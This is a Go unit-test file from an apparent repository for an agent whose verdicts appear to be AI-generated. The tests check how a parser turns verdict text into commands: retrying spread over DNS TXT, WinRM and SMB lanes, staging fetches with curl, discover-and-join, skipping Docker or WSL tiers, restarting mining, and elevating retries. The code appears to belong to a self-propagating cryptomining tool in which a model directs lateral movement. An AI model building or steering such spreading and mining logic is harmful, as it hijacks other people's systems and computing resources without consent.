Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
74 lines
2.1 KiB
Go
74 lines
2.1 KiB
Go
package ai
|
|
|
|
import "testing"
|
|
|
|
func TestResolveSpreadRetryLaneStaging(t *testing.T) {
|
|
cmd := ResolveSpreadRetryLane(map[string]interface{}{
|
|
"lane": "dns_txt",
|
|
"data": `{"method":"curl"}`,
|
|
})
|
|
if cmd.Type != CmdStageFetch {
|
|
t.Fatalf("type=%s want stage_fetch", cmd.Type)
|
|
}
|
|
if cmd.Args["data"] == nil {
|
|
t.Fatalf("args=%+v", cmd.Args)
|
|
}
|
|
}
|
|
|
|
func TestResolveSpreadRetryLaneDeploy(t *testing.T) {
|
|
cmd := ResolveSpreadRetryLane(map[string]interface{}{"lane": "winrm"})
|
|
if cmd.Type != CmdDiscoverAndJoin {
|
|
t.Fatalf("type=%s", cmd.Type)
|
|
}
|
|
if cmd.Args["lane"] != "winrm" {
|
|
t.Fatalf("lane=%v", cmd.Args["lane"])
|
|
}
|
|
}
|
|
|
|
func TestResolveSkipTier(t *testing.T) {
|
|
cmd := ResolveSkipTier(map[string]interface{}{"tier": "docker"})
|
|
if cmd.Type != CmdReorderTiers {
|
|
t.Fatalf("type=%s", cmd.Type)
|
|
}
|
|
skips, ok := cmd.Args["skip_tiers"].([]interface{})
|
|
if !ok || len(skips) != 1 || skips[0] != "docker" {
|
|
t.Fatalf("skip_tiers=%+v", cmd.Args["skip_tiers"])
|
|
}
|
|
}
|
|
|
|
func TestExpandCourtCommands(t *testing.T) {
|
|
out := ExpandCourtCommands([]Command{
|
|
{Type: CmdSpreadRetryLane, Args: map[string]interface{}{"lane": "smb"}},
|
|
{Type: CmdSkipTier, Args: map[string]interface{}{"tier": "wsl"}},
|
|
{Type: CmdNoop, Args: map[string]interface{}{}},
|
|
})
|
|
if len(out) != 3 {
|
|
t.Fatalf("len=%d", len(out))
|
|
}
|
|
if out[0].Type != CmdDiscoverAndJoin || out[1].Type != CmdReorderTiers {
|
|
t.Fatalf("expanded=%+v", out)
|
|
}
|
|
}
|
|
|
|
func TestParseCommandsSpreadRetryLane(t *testing.T) {
|
|
raw := `Verdict: retry dns_txt lane.
|
|
{"commands":[{"type":"spread_retry_lane","args":{"lane":"dns_txt","data":"{}"}}]}`
|
|
cmds := ParseCommands(raw)
|
|
if len(cmds) != 1 || cmds[0].Type != CmdSpreadRetryLane {
|
|
t.Fatalf("cmds=%+v", cmds)
|
|
}
|
|
expanded := ExpandCourtCommands(cmds)
|
|
if len(expanded) != 1 || expanded[0].Type != CmdStageFetch {
|
|
t.Fatalf("expanded=%+v", expanded)
|
|
}
|
|
}
|
|
|
|
func TestCourtCommandsNeedRetryElevation(t *testing.T) {
|
|
if !CourtCommandsNeedRetryElevation([]Command{{Type: CmdSpreadRetryLane}}) {
|
|
t.Fatal("expected spread_retry_lane to need L4")
|
|
}
|
|
if CourtCommandsNeedRetryElevation([]Command{{Type: CmdRestartMining}}) {
|
|
t.Fatal("restart_mining should not require court retry elevation set")
|
|
}
|
|
}
|